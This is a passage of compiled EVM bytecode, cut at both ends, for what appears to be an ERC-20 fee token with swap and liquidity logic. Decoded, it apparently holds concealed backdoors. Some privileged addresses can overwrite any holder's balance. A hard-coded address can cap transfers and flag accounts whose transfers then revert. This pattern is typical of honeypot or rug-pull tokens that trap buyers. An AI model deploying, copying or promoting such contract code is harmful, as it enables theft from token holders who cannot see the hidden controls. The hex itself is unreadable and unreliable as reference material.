1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600860006200062a62000cc460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200070c601054620006f8600f54600e5462000ced60201b620028c91790919060201c565b62000ced60201b620028c91790919060201c565b6017819055506200074b6013546200073760125460115462000ced60201b620028c91790919060201c565b62000ced60201b620028c91790919060201c565b6018819055506200078a6016546200077660155460145462000ced60201b620028c91790919060201c565b62000ced60201b620028c91790919060201c565b601981905550600160096000620007a662000cc460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000620008e260015462000d5060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60006200094c60015462000d5060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000620009b362000cc460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c600062000aec62000cbc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550732dde0924f0b821e1dc229b207bf28efeceb0c43a600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550732dde0924f0b821e1dc229b207bf28efeceb0c43a600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a546006600062000bfe62000cbc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000c4c62000cbc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601a5460405162000cad919062000f05565b60405180910390a350620012bd565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080828462000cfe919062000f33565b90508381101562000d46576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000d3d9062000ee3565b60405180910390fd5b8091505092915050565b600062000d638262000d6a60201b60201c565b9050919050565b6000819050919050565b82805462000d8290620011d4565b90600052602060002090601f01602090048101928262000da6576000855562000df2565b82601f1062000dc157805160ff191683800117855562000df2565b8280016001018555821562000df2579182015b8281111562000df157825182559160200191906001019062000dd4565b5b50905062000e01919062000e05565b5090565b5b8082111562000e2057600081600090555060010162000e06565b5090565b60008151905062000e3581620012a3565b92915050565b60006020828403121562000e545762000e5362001268565b5b600062000e648482850162000e24565b91505092915050565b62000e788162001189565b82525050565b600062000e8d601b8362000f22565b915062000e9a826200127a565b602082019050919050565b62000eb081620011bd565b82525050565b600060408201905062000ecd600083018562000e6d565b62000edc602083018462000e6d565b9392505050565b6000602082019050818103600083015262000efe8162000e7e565b9050919050565b600060208201905062000f1c600083018462000ea5565b92915050565b600082825260208201905092915050565b600062000f4082620011bd565b915062000f4d83620011bd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000f855762000f846200120a565b5b828201905092915050565b6000808291508390505b600185111562000fe25780860481111562000fba5762000fb96200120a565b5b600185161562000fca5780820291505b808102905062000fda856200126d565b945062000f9a565b94509492505050565b600062000ff882620011bd565b91506200100583620011c7565b9250620010347fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200103c565b905092915050565b6000826200104e576001905062001121565b816200105e576000905062001121565b81600181146200107757600281146200108257620010b8565b600191505062001121565b60ff8411156200109757620010966200120a565b5b8360020a915084821115620010b157620010b06200120a565b5b5062001121565b5060208310610133831016604e8410600b8410161715620010f25782820a905083811115620010ec57620010eb6200120a565b5b62001121565b62001101848484600162000f90565b925090508184048111156200111b576200111a6200120a565b5b81810290505b9392505050565b60006200113582620011bd565b91506200114283620011bd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200117e576200117d6200120a565b5b828202905092915050565b600062001196826200119d565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620011ed57607f821691505b6020821081141562001204576200120362001239565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b620012ae8162001189565b8114620012ba57600080fd5b50565b60805160601c614c5f620012e36000396000818161130b01526113370152614c5f6000f3fe60806040526004361061039b5760003560e01c80638b42507f116101dc578063c860795211610102578063dfb342fa116100a0578063f2514e881161006f578063f2514e8814610ddd578063f2fde38b14610e1a578063f872858a14610e43578063fd9c299c14610e6e576103a2565b8063dfb342fa14610d23578063ec28438a14610d60578063f0cd1dac14610d89578063f1d5f51714610db4576103a2565b8063d8295642116100dc578063d829564214610c67578063da00097d14610c90578063dc44b6a014610cbb578063dd62ed3e14610ce6576103a2565b8063c860795214610bd4578063c867d60b14610bff578063cab0347114610c3c576103a2565b8063a83f53a71161017a578063c469b6dd11610149578063c469b6dd14610b2a578063c49b9a8014610b55578063c5d2418914610b7e578063c816841b14610ba9576103a2565b8063a83f53a714610a6e578063a9059cbb14610a99578063b4fc5a9514610ad6578063c2d4640e14610b01576103a2565b8063a073d37f116101b6578063a073d37f146109b2578063a08e671f146109dd578063a457c2d714610a08578063a5d69d1f14610a45576103a2565b80638b42507f1461091f5780638da5cb5b1461095c57806395d89b4114610987576103a2565b806339509351116102c157806361a23c691161025f5780637d1db4a51161022e5780637d1db4a514610873578063807c2d9c1461089e57806382eefb43146108c957806388790a68146108f4576103a2565b806361a23c69146107b95780636249faf1146107e457806370a082311461080d57806377f31d031461084a576103a2565b806340db65f61161029b57806340db65f6146106fb5780634a74bb021461072657806357a5802f146107515780635881f3ef1461077c576103a2565b806339509351146106585780633b97084a146106955780633ecad271146106be576103a2565b80631870517a116103395780632b112e49116103085780632b112e49146105b05780632c4b2334146105db578063313ce5671461060457806335d236151461062f576103a2565b80631870517a146104f657806323b872dd1461051f5780632563ae831461055c57806327c8f83514610585576103a2565b80631245e347116103755780631245e3471461044c578063156b88eb146104775780631694505e146104a057806318160ddd146104cb576103a2565b806306fdde03146103a7578063095ea7b3146103d25780630ed8b8251461040f576103a2565b366103a257005b600080fd5b3480156103b357600080fd5b506103bc610e97565b6040516103c991906143ad565b60405180910390f35b3480156103de57600080fd5b506103f960048036038101906103f49190613ed8565b610f29565b6040516104069190614377565b60405180910390f35b34801561041b57600080fd5b5061043660048036038101906104319190613deb565b610f47565b6040516104439190614377565b60405180910390f35b34801561045857600080fd5b50610461610f67565b60405161046e91906142d2565b60405180910390f35b34801561048357600080fd5b5061049e60048036038101906104999190613fd2565b610f8d565b005b3480156104ac57600080fd5b506104b561106d565b6040516104c29190614392565b60405180910390f35b3480156104d757600080fd5b506104e0611093565b6040516104ed91906144cf565b60405180910390f35b34801561050257600080fd5b5061051d60048036038101906105189190613fd2565b61109d565b005b34801561052b57600080fd5b5061054660048036038101906105419190613e85565b61117d565b6040516105539190614377565b60405180910390f35b34801561056857600080fd5b50610583600480360381019061057e9190613f78565b611257565b005b34801561059157600080fd5b5061059a611309565b6040516105a791906142b7565b60405180910390f35b3480156105bc57600080fd5b506105c561132d565b6040516105d291906144cf565b60405180910390f35b3480156105e757600080fd5b5061060260048036038101906105fd9190613deb565b611371565b005b34801561061057600080fd5b5061061961144a565b6040516106269190614574565b60405180910390f35b34801561063b57600080fd5b5061065660048036038101906106519190613deb565b611461565b005b34801561066457600080fd5b5061067f600480360381019061067a9190613ed8565b61153a565b60405161068c9190614377565b60405180910390f35b3480156106a157600080fd5b506106bc60048036038101906106b79190613fa5565b6115ed565b005b3480156106ca57600080fd5b506106e560048036038101906106e09190613deb565b61168c565b6040516106f29190614377565b60405180910390f35b34801561070757600080fd5b506107106116ac565b60405161071d91906144cf565b60405180910390f35b34801561073257600080fd5b5061073b6116b2565b6040516107489190614377565b60405180910390f35b34801561075d57600080fd5b506107666116c5565b60405161077391906144cf565b60405180910390f35b34801561078857600080fd5b506107a3600480360381019061079e9190613deb565b6116cb565b6040516107b091906142b7565b60405180910390f35b3480156107c557600080fd5b506107ce611c29565b6040516107db91906144cf565b60405180910390f35b3480156107f057600080fd5b5061080b60048036038101906108069190613f18565b611c2f565b005b34801561081957600080fd5b50610834600480360381019061082f9190613deb565b611d69565b60405161084191906144cf565b60405180910390f35b34801561085657600080fd5b50610871600480360381019061086c9190613f18565b611db2565b005b34801561087f57600080fd5b50610888611eec565b60405161089591906144cf565b60405180910390f35b3480156108aa57600080fd5b506108b3611ef2565b6040516108c091906144cf565b60405180910390f35b3480156108d557600080fd5b506108de611ef8565b6040516108eb91906144cf565b60405180910390f35b34801561090057600080fd5b50610909611efe565b60405161091691906144cf565b60405180910390f35b34801561092b57600080fd5b5061094660048036038101906109419190613deb565b611f04565b6040516109539190614377565b60405180910390f35b34801561096857600080fd5b50610971611f24565b60405161097e91906142b7565b60405180910390f35b34801561099357600080fd5b5061099c611f4d565b6040516109a991906143ad565b60405180910390f35b3480156109be57600080fd5b506109c7611fdf565b6040516109d491906144cf565b60405180910390f35b3480156109e957600080fd5b506109f2611fe9565b6040516109ff91906144cf565b60405180910390f35b348015610a1457600080fd5b50610a2f6004803603810190610a2a9190613ed8565b611fef565b604051610a3c9190614377565b60405180910390f35b348015610a5157600080fd5b50610a6c6004803603810190610a679190613f78565b6120bc565b005b348015610a7a57600080fd5b50610a8361216e565b604051610a9091906144cf565b60405180910390f35b348015610aa557600080fd5b50610ac06004803603810190610abb9190613ed8565b612174565b604051610acd9190614377565b60405180910390f35b348015610ae257600080fd5b50610aeb612193565b604051610af891906142d2565b60405180910390f35b348015610b0d57600080fd5b50610b286004803603810190610b239190613fd2565b6121b9565b005b348015610b3657600080fd5b50610b3f612299565b604051610b4c91906144cf565b60405180910390f35b348015610b6157600080fd5b50610b7c6004803603810190610b779190613f78565b61229f565b005b348015610b8a57600080fd5b50610b93612388565b604051610ba091906144cf565b60405180910390f35b348015610bb557600080fd5b50610bbe61238e565b604051610bcb91906142b7565b60405180910390f35b348015610be057600080fd5b50610be96123b4565b604051610bf691906144cf565b60405180910390f35b348015610c0b57600080fd5b50610c266004803603810190610c219190613deb565b6123ba565b604051610c339190614377565b60405180910390f35b348015610c4857600080fd5b50610c516123da565b604051610c5e91906144cf565b60405180910390f35b348015610c7357600080fd5b50610c8e6004803603810190610c899190613ed8565b6123e0565b005b348015610c9c57600080fd5b50610ca5612482565b604051610cb29190614377565b60405180910390f35b348015610cc757600080fd5b50610cd0612495565b604051610cdd91906144cf565b60405180910390f35b348015610cf257600080fd5b50610d0d6004803603810190610d089190613e45565b61249b565b604051610d1a91906144cf565b60405180910390f35b348015610d2f57600080fd5b50610d4a6004803603810190610d459190613deb565b612522565b604051610d579190614377565b60405180910390f35b348015610d6c57600080fd5b50610d876004803603810190610d829190613fa5565b612542565b005b348015610d9557600080fd5b50610d9e6125a3565b604051610dab91906144cf565b60405180910390f35b348015610dc057600080fd5b50610ddb6004803603810190610dd69190613fa5565b6125a9565b005b348015610de957600080fd5b50610e046004803603810190610dff9190613deb565b612648565b604051610e119190614377565b60405180910390f35b348015610e2657600080fd5b50610e416004803603810190610e3c9190613deb565b612668565b005b348015610e4f57600080fd5b50610e586127ba565b604051610e659190614377565b60405180910390f35b348015610e7a57600080fd5b50610e956004803603810190610e909190613f18565b6127cd565b005b606060028054610ea6906147db565b80601f0160208091040260200160405190810160405280929190818152602001828054610ed2906147db565b8015610f1f5780601f10610ef457610100808354040283529160200191610f1f565b820191906000526020600020905b815481529060010190602001808311610f0257829003601f168201915b5050505050905090565b6000610f3d610f36612927565b848461292f565b6001905092915050565b600c6020528060005260406000206000915054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610f95612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611022576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110199061446f565b60405180910390fd5b8260118190555081601281905550806013819055506110626013546110546012546011546128c990919063ffffffff16565b6128c990919063ffffffff16565b601881905550505050565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601a54905090565b6110a5612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611132576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111299061446f565b60405180910390fd5b82600e8190555081600f8190555080601081905550611172601054611164600f54600e546128c990919063ffffffff16565b6128c990919063ffffffff16565b601781905550505050565b600061118a848484612afa565b5061124c84611197612927565b61124785604051806060016040528060288152602001614bdd60289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006111fd612927565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131309092919063ffffffff16565b61292f565b600190509392505050565b61125f612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e39061446f565b60405180910390fd5b80601f60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600061136c61135b7f0000000000000000000000000000000000000000000000000000000000000000611d69565b601a5461319490919063ffffffff16565b905090565b611379612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611406576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fd9061446f565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900460ff16905090565b611469612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ed9061446f565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006115e3611547612927565b846115de8560076000611558612927565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128c990919063ffffffff16565b61292f565b6001905092915050565b6115f5612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611682576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116799061446f565b60405180910390fd5b80601d8190555050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60015481565b601f60159054906101000a900460ff1681565b60145481565b60006116d5612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611762576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117599061446f565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156117ad57600080fd5b505afa1580156117c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117e59190613e18565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561184757600080fd5b505afa15801561185b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061187f9190613e18565b6040518363ffffffff1660e01b815260040161189c9291906142ed565b60206040518083038186803b1580156118b457600080fd5b505afa1580156118c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118ec9190613e18565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611aad578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561196957600080fd5b505afa15801561197d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119a19190613e18565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a0357600080fd5b505afa158015611a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a3b9190613e18565b6040518363ffffffff1660e01b8152600401611a589291906142ed565b602060405180830381600087803b158015611a7257600080fd5b505af1158015611a86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aaa9190613e18565b91505b81601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b60155481565b611c37612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cbb9061446f565b60405180910390fd5b60005b83839050811015611d63578160096000868685818110611cea57611ce96148e3565b5b9050602002016020810190611cff9190613deb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611d5b9061480d565b915050611cc7565b50505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611dba612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3e9061446f565b60405180910390fd5b60005b83839050811015611ee6578160086000868685818110611e6d57611e6c6148e3565b5b9050602002016020810190611e829190613deb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611ede9061480d565b915050611e4a565b50505050565b601b5481565b601c5481565b60185481565b60115481565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054611f5c906147db565b80601f0160208091040260200160405190810160405280929190818152602001828054611f88906147db565b8015611fd55780601f10611faa57610100808354040283529160200191611fd5565b820191906000526020600020905b815481529060010190602001808311611fb857829003601f168201915b5050505050905090565b6000601d54905090565b60195481565b60006120b2611ffc612927565b846120ad85604051806060016040528060258152602001614c056025913960076000612026612927565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131309092919063ffffffff16565b61292f565b6001905092915050565b6120c4612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612151576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121489061446f565b60405180910390fd5b80601f60166101000a81548160ff02191690831515021790555050565b60165481565b6000612188612181612927565b8484612afa565b506001905092915050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6121c1612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461224e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122459061446f565b60405180910390fd5b82601481905550816015819055508060168190555061228e6016546122806015546014546128c990919063ffffffff16565b6128c990919063ffffffff16565b601981905550505050565b60105481565b6122a7612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612334576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232b9061446f565b60405180910390fd5b80601f60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1598160405161237d9190614377565b60405180910390a150565b600f5481565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b60096020528060005260406000206000915054906101000a900460ff1681565b60135481565b600c60006123ec612927565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561247e5780600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b601f60169054906101000a900460ff1681565b600e5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d6020528060005260406000206000915054906101000a900460ff1681565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156125a05780601b819055505b50565b60175481565b6125b1612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461263e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126359061446f565b60405180910390fd5b80601c8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b612670612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126f49061446f565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601f60179054906101000a900460ff1681565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156128c45760005b838390508110156128c25781600d6000868685818110612849576128486148e3565b5b905060200201602081019061285e9190613deb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806128ba9061480d565b915050612826565b505b505050565b60008082846128d891906145e4565b90508381101561291d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129149061440f565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561299f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612996906144af565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a06906143ef565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612aed91906144cf565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612b6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b629061448f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612bdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bd2906143cf565b60405180910390fd5b601f60149054906101000a900460ff1615612c0257612bfb8484846131de565b9050613129565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612ca65750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612cf157601b54821115612cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ce79061442f565b60405180910390fd5b5b6000612cfc30611d69565b90506000601d548210159050808015612d225750601f60149054906101000a900460ff16155b8015612d785750600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612d905750601f60159054906101000a900460ff165b15612dba57601f60169054906101000a900460ff1615612db057601d5491505b612db9826133b1565b5b612dc3866135a2565b15612e5e57612e1a84600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461319490919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612f015750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612f1557612f108787876135f7565b612f17565b845b9050601f60179054906101000a900460ff168015612f7f5750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612fae57601c54612fa282612f9489611d69565b6128c990919063ffffffff16565b1115612fad57600080fd5b5b600080612fb9575060015b1561302757600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613026576001801561301c575060005b61302557600080fd5b5b5b61307981600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128c990919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161311991906144cf565b60405180910390a3600193505050505b9392505050565b6000838311158290613178576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161316f91906143ad565b60405180910390fd5b506000838561318791906146c5565b9050809150509392505050565b60006131d683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613130565b905092915050565b6000613269826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131309092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132fe82600660008673ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffffffff